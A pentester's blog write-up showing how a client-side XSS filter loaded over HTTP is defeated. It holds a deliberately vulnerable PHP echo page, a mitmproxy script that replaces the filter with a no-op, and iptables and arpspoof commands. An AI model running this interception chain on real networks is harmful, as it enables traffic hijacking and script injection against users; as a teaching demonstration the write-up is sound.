Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
I recently had to demonstrate the dangers of loading external resources over HTTP as well as security libraries running on the client side. In this case, I went with an attack to MITM XSS protection, and this was the result.
First, take the following vulnerable application.
<html> <head> <title>Safe from XSS now(?)</title> </head> <body> I'm no longer vulnerable: <?php echo $_GET['value']; ?> </body> </html>
A simple application that takes a GET parameter and echos it to the page.
As you can tell, this application is obviously vulnerable to XSS.
In this case, our target actually smartened up to our attacks, and started using an input sanitization library.
Following the example on the GitHub page, the target application was now a bit more secure.
<html> <head> <title>Safe from XSS now(?)</title> </head> <body> I'm no longer vulnerable: <script src="http://r4y.pw/xss.js"></script> <script> // apply function filterXSS in the same way var html = filterXSS(decodeURIComponent('<?php echo urlencode($_GET['value']); ?>')); document.write(html); </script> </body> </html>
Now, when we try our previous payload, it no longer works.
The reason for this is that the library is now HTML encoding our payload.
As you can see, the browser is sending the input to the filterXSS method before being written to the page. Note that the decodeURIComponent and URL encoding is to just prevent closing script tags from breaking this “protection”.
Like any good attacker, we won’t stop because of a little client side protection for our XSS attacks.
In this case, I used mitmproxy and a custom script to modify the response. If the request was for http://138.197.195.10/xss.js, then I replace the content with my own neutered function.
import libmproxy def response(context, flow): url = flow.request.scheme + "://" + flow.request.host + flow.request.path if url == "http://138.197.195.10/xss.js": flow.response.code = 200 flow.response.content = "function filterXSS (input) { return input; }" flow.response.encode("gzip")
To use this script, I setup some iptables rules to forward traffic to mitmproxy, setup ARP spoofing between my victim and the router, and started mitmproxy.
root@kali:~# iptables -t nat -F root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 root@kali:~# arpspoof -i eth1 -t 192.168.5.100 192.168.5.1 root@kali:~# arpspoof -i eth1 -t 192.168.5.1 192.168.5.100 root@kali:~# mitmproxy --anticache -s mitmOverride.py -T --host
Now, the next time that my “victim” browsed to the vulnerable application, I saw their request for the XSS library.
Additionally, the response that mitmproxy sent back to them was my useless version.
Finally, my alert popped, and XSS was successful again!
Additionally, you can see that the empty filterXSS() method is the one being loaded on the client’s side.
While this attack did come with a few caveats, it still demonstrates the dangers of HTTP vs. HTTPS and client side protections.
To perform this attack, an attacker just needs to share a network with the victim, and have some familiarity with the protection that they are attacking.
Other than that, the attack is (mostly) transparent and could be even more sneaky.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
Nice dude!